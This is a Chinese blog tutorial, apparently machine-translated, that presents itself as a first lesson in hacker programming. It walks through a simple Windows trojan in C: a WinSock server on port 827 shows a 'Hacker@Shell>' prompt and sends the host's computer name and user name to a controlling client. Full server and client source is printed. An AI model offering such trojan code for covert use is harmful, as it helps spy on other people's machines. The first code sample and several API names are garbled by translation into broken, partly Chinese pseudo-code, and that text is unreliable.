首页 > 编程知识 正文

黑客入门的第一本书(网络黑客入门教学)

时间:2023-05-03 15:44:47 阅读:74552 作者:748

黑客编程入门(1)从简单木马到平台: Windows

环境: VS6.0

语言: c

基本功能:

获取目标主机(服务端)的计算机名称和用户名

当客户端发送命令“获取pcname”时,在客户端上打印计算机名称

客户端发送" getusername "命令时在客户端上打印用户名

知识储备:

什么是C/S结构

C/S结构是客户端-服务器结构,简单来说,我们的木马种植在服务端,可以获取服务端的信息。 我们在客户端进行一系列操作来控制木马活动,让我们的小马

可以控制服务器。 顺便问一下,我们的浏览器是通用的客户端啊。

2 TCP协议和UDP协议

我们的木马客户端和服务端一定会进行通信,在两者之间不断发送信息。 信息的传递当然需要制定确保信息真实性、正确性的规则。 为此,人们制定了一系列通用协议来规范通信标准。 这有TCP和UDP。 当然,不仅仅是这两个。 关于协议的更详细内容,如果有兴趣的话请自己调查。 )协议规定,每个终端将各自字符集的字符转换为标准字符集的字符,然后传输到网络,到达目的地终端后再转换为该终端字符集的字符。 也就是说,我们的小马在收集服务端信息后,也会遵循该准则,将信息统一转换为标准字符集进行传递,客户端进行解析转换。

基本知识准备完毕,开始行动。 在完成代码时,将一点一点地了解具体使用的函数和库。

首先,最核心的功能——获取主机的计算机名称和用户名。 1 .获取计算机名称的函数:

boolwinapigetcomputername (_ out _ lptstr lpbuffer,_Inout_ LPDWORD lpnSize );

参数说明:

lpBuffer是输出参数,是指向接受计算机名称的缓冲区的指针,大小必须足够大才能存储max _ computer name _ length1characters

lpnSize是输入输出参数,输入限定lpBuffer的size,输出和返回的计算机名的大小不包含末尾的空白字符

MSDN地址: http://msdn.Microsoft.com/zh-cn/ms 724295

2 .获取用户名的函数:

boolwinapigetusername (_ out _ lptstr lpbuffer,_Inout_ LPDWORD lpnSize );

与GetComputerName参数基本相同的详细信息: msdn:http://msdn.Microsoft.com/zh-cn/subscriptions/ms 724432.aspx

接下来,我们来看看基本实现的完整代码。 暂时不进行通信。 请不要着急,慢慢来。

# include stdio.h # include windows.h # definemax _ size 20 int main (int argc,char* argv[] ) charszcomputername [ max ] 无符号长整型=max byte; 获取计算机名称(SZ计算机名称,nSize ); printf (计算机名称is % sn ),SZ计算机名称); nSize=MAXBYTE; Getusername(SZusername,nSize ); printf(usernameis%s(n ),szUserName ); 返回0; }

哈,最核心的代码是我们完成的。 很简单吗?

然后,实现完整的服务端代码。 预备知识:

1 WinSock界面:

是Windows套接字的简称,也是Windows套接字,是微软基于BSD UNIX操作系统中流行的Berkeley套接字规范实现的Windows网络编程接口的我们的小木马网络通信是基于WinSock实现的。 当然,还有其他类似的库,这里不介绍。

使用时部署#includewinsock2.h和#pragmacomment(lib,' ws2_32 ' )。

2 WinSock服务端开发流程:

支持WinSock初始化(函数WSAStartupup ) ) ——套接字套接字(套接字)套接字) ——绑定IP和端口(函数bind ) ) ) ——监听端口)

( ) / recv( ) )——> 关闭套接字 (对应函数closesocket( ) )——> 结束动态链接库

(对应函数( WSACleanup( ) )

int WSAStartup{ WORD wVersionRequested, LPWSADATA lpWSAData};

该函数的第一个参数指明程序请求使用的Socket版本,其中高位字节 指明副版本、低位字节指明主版本;

操作系统利用第二个参数返回请求的Socket的版本信息。

SOCKET socket( int af, int type, int protocol};

af 指定通信协议簇,对于TCP/IP协议,该参数为PF_INET

type 指定要创建的套接字类型

protocol 指定使用的通信协议,具体和第二个参数有关,第二个参数为SOCK_STREAM则该参数为IPPROTO_TCP ,

               若第二个参数为SOCK_DGRAM,则该参数为IPPROTO_UDP

 

int bind( SOCKET s, const struct sockaddr* name, int namlen );

s 服务器端套接字

name 制定一个sockaddr结构

namelen 指定缓冲区的长度

这里有必要介绍一下sockaddr结构——

struct sockaddr_in {short int sin_family; /* Address family */unsigned short int sin_port; /* Port number */struct in_addr sin_addr; /* Internet address */unsigned char sin_zero[8]; /* Same size as struct sockaddr */};


sin_family 指代协议族
sin_port 存储端口号(使用网络字节顺序)
sin_addr 存储IP地址,使用in_addr这个数据结构
sin_zero 是为了让sockaddr与sockaddr_in两个数据结构保持大小相同而保留的空字节。

int listen( SOCKET s, int backlog};

第一个参数很明显就是处于监听状态的套接字

backlog 客户连接请求队列

SOCKET accept( SOCKET s, struct sockaddr FAR* addr, int FAR* addrlen);

s:套接口描述字,该套接口在listen()后监听连接。
addr:(可选)指针,指向一缓冲区,其中接收为通讯层所知的连接实体的地址。Addr参数的实际格式由套接口创建时所产生的地址族确定。
addrlen:(可选)指针,指向存有addr地址长度的整形数。

int send(SOCKET s,const char *buf,int len,int flags);


buf是个指向发送的缓冲区的指针,也就是个地址

len是要发送的数据大小,一般是和buf的大小有关
flag 一般设置为0

int recv( SOCKET s, char FAR *buf, int len, int flags); s 是要读的套接字描述符。 buf 是要读的信息。 len 是缓 冲的最大长度。 flags 一般设置为0 ( 当然还有其他的参数,这里不详细的讲了 自己man一下吧)  

所需要的函数基本讲完了,接下来真正的动手写代码吧,上代码

/*服务器端代码*/#include<winsock2.h>#include<windows.h>#pragma comment (lib,"ws2_32")#define MAX_SIZE 20typedef struct _SYS_INFO{char szComputerName[MAX_SIZE];//保存计算机名char szUserName[MAX_SIZE];//保存当前用户登录名}SYS_INFO,*PSYS_INFO;void GetSysInfo(PSYS_INFO sysinfo){unsigned long nSize = MAXBYTE;GetComputerName(sysinfo->szComputerName,&nSize);nSize = MAXBYTE;GetUserName(sysinfo->szUserName,&nSize);};int main(int argc,char* argv[]){//winsock的初始化WSADATA wsaData;WSAStartup(MAKEWORD(2,2),&wsaData);//创建套接字SOCKET s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);//进行IP和端口的绑定sockaddr_in sockaddr;sockaddr.sin_family = PF_INET;sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");sockaddr.sin_port = htons(827);bind(s,(SOCKADDR*)&sockaddr,sizeof(SOCKADDR));//监听端口listen(s,1);//接收请求SOCKADDR clientAddr;int Size = sizeof(SOCKADDR);SOCKET clientSock;clientSock = accept(s,(SOCKADDR*)&clientAddr,&Size);//注意,accept函数返回一个新的套接字while(true){//向客户端发送的信息,用于模拟一个命令行界面send(clientSock,"Hacker@Shell>",strlen("Hacker@Shell>")+sizeof(char),NULL);char buff[MAXBYTE] = {0};//保存接受的信息//接收信息recv(clientSock,buff,MAXBYTE,NULL);//根据从客户端接收到的指令进行相应的操作if(!strcmp(buff,"getpcname")||(!strcmp(buff,"getusername"))){SYS_INFO SysInfo = {0};GetSysInfo(&SysInfo);send(clientSock,(const char*)&SysInfo,sizeof(SYS_INFO),NULL);}}closesocket(clientSock);//关闭socketclosesocket(s);//关闭socketWSACleanup();//结束动态链接库return 0;}


客户端的代码实现和服务器端比较类似 ,直接看完整的代码:

#include<winsock2.h>#include<stdio.h>#include<conio.h>#pragma comment (lib,"ws2_32")#define NAME_LEN 20typedef struct _SYS_INFO{char szComputerName[NAME_LEN]; //保存计算机系统名char szUserName[NAME_LEN]; //保存当前用户登录名}SYS_INFO,*PSYS_INFO;int main(int argc,char* argv[]){WSADATA wsaData;WSAStartup(MAKEWORD(2,2),&wsaData);SOCKET ClientSock = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);sockaddr_in ServerAddr;ServerAddr.sin_family = PF_INET;ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");ServerAddr.sin_port = htons(827);connect(ClientSock,(SOCKADDR*)&ServerAddr,sizeof(SOCKADDR));//进行连接while(true){char Buff[MAXBYTE] = {0};char Cmd[MAXBYTE] = {0};recv(ClientSock,Buff,MAXBYTE,0);printf("%s",Buff);scanf("%s",Cmd);send(ClientSock,Cmd,MAXBYTE,0);if(!strcmp(Cmd,"exit")){printf("Login out! rn");break;}memset(Buff,0,MAXBYTE);recv(ClientSock,Buff,MAXBYTE,0);PSYS_INFO SysInfo = (PSYS_INFO)Buff;if(!strcmp(Cmd,"getpcname")){printf("Computer name is %s rn",SysInfo->szComputerName);}else if(!strcmp(Cmd,"getusername")){printf("User name is %s rn",SysInfo->szUserName);}}getch();WSACleanup();return 0;}

下面看一下运行的结果吧:

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。